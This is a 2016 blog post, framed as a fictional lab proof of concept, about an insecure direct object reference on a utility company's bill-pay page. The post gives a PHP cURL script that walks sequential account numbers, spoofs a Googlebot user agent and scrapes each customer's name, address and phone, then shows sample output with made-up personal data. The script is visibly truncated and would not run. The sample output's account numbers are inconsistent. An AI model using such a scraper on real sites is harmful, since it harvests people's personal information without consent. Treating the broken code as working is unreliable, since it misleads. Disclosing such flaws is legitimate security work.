pwning the utility company

Jun 21, 2016  

Edit: This is a fictitious story, there is no utility company, our villain in this story “the utility company” is an example. However attacks like this occur every day, so I wanted to shine light on how they happen in a proof of concept that was displayed properly to my audience in a safe environment and with an entertaining back-story. Take the article with a grain of salt and always be responsible in disclosure. I hope that you enjoy the read.

One day a user was checking their mail and had realized that they failed to take care of a utility bill. Frantically, they took steps to pay the bill online via the self-service web application. The application was fairly simple and straight forward. In order to “authenticate”, if you could call it that, was to enter the account number and hit a button to continue. Upon hitting the button needed to continue the payment process the user was displayed a page with several pieces of personally identifiable information (the same data in a phone book):

  • Address
  • First & Last name
  • Phone number

In such an angry state of mind the user tried to login as fast as they could, mashing the keys that consisted of their assigned account number so that they can get the sting of another bill out of the way. Hitting the enter key displayed the usual page that they were used to seeing, asking them to confirm account information, except something this time was very different. The name was not correct, it was someone else’s name that lives in the same state as the user, and obviously uses the same utility company. Confirming the account number was correct the user noticed that the last digit was the issue, it was exactly one digit above their account number. Typically this indicates that the account numbers are based on incremental values (more than likely auto_increment). Are you thinking what I am? This could be scraped. So I setup a test lab with my own code and fake data to test a proof of concept.

Doing something like this on a live website without the explicit approval of the owners of said website is not recommended, and highly unethical.


if you don’t believe me I recommend you lookup the case on Weev and AT&T

So I re-created this situation using Virtual Machines. The files for this lab can be found on GitHub.


Upon hitting the ‘pay my bill’ button we are shown a page to confirm our account information, then proceed with adding payment methods at the next screen.


On this page we are confronted and instructed to confirm our personal information is correct, then proceed to electing a payment method. This is absolutely terrifying! A competitor could easily uncover this information and use it to poach customers of this company. Or someone could sell the information on the black market, all roads lead to nothing good.

To test my theory I wrote this script that I will use to test with the fake web application that I made.

require "simple_html_dom.php";
$start_acct_num = $argv[1] or die("supply account number to start searching with\n");
$range = $argv[2] or die("specify range!\n");
for($acct_num = $start_acct_num; $acct_num <= $start_acct_num + $range; $acct_num++){
    $postdata = array('account_number' => $acct_num);
    $curl = curl_init();
    $curlopts = array(
        CURLOPT_URL => "",
        CURLOPT_USERAGENT => "Mozilla/5.0 (compatible; Googlebot/2.1; +",
        CURLOPT_POSTFIELDS => $postdata,
    $postdata = http_build_query($postdata);
    $req = curl_exec($curl);
    $info = curl_getinfo($curl);
    $scrape = str_get_html($req)->find('div',0)->plaintext;
    print $scrape . "\n\n";

We simply just need to specify an account number to start with, then the script will ask for a range. This alters the range of account numbers that we would like to test.

$ ./utilitypwn.php 2000504003 6
Account Number: 2000504003
Name: John Doe
Service Address: 1337 Secure rd., Austin TX, 78701
Phone: 202-555-0123
Account Number: 2700904004
Name: Michael Smith
Service Address: 302 Courage rd., Austin TX, 78702
Phone: 202-555-0128
Account Number: 2700904005
Name: Alexandria Roberts
Service Address: 506 Congress rd., Austin TX, 78709
Phone: 202-555-0197
Account Number: 2700904006
Name: Joshua Mericson
Service Address: 666 Slayer rd., Austin TX, 78702
Phone: 202-555-0205
Account Number: 2700904007
Name: Juan Swaggington
Service Address: 420 High Timbers rd., Austin TX, 78702
Phone: 202-555-3055
Account Number: 2700904008
Name: Jackson Chan
Service Address: 5825 Honeypot blvd., Austin TX, 78704
Phone: 202-555-2047
Account Number: 2700904009
Name: Ryan Ballerson
Service Address: 512 Elevated Rock rd., Austin TX, 78702
Phone: 202-555-3952

With just a few lines of code someone could literally harvest the entire customer database using simple arithmetic. Perhaps it’s a good idea to throw a password or something somewhere in this process? Personal data is at risk due to such carelessness 🙁 Of course for this to be successful the attacker would need to be able to have an account number handy to start with, or enumerate account numbers. Enumeration in this case is easy since they are incremented values.

DISCLAIMER: The personal information in my test lab are all made up, as well as the utility company. Any relation to anyone or entity using any part of of the data above is purely coincidental and in no way related to this research. This was not tested on a live web site, and is all a proof of concept in the name of research. nor do I condone or recommend doing this on live websites without explicit approval. No law was broken in the making of this blog post.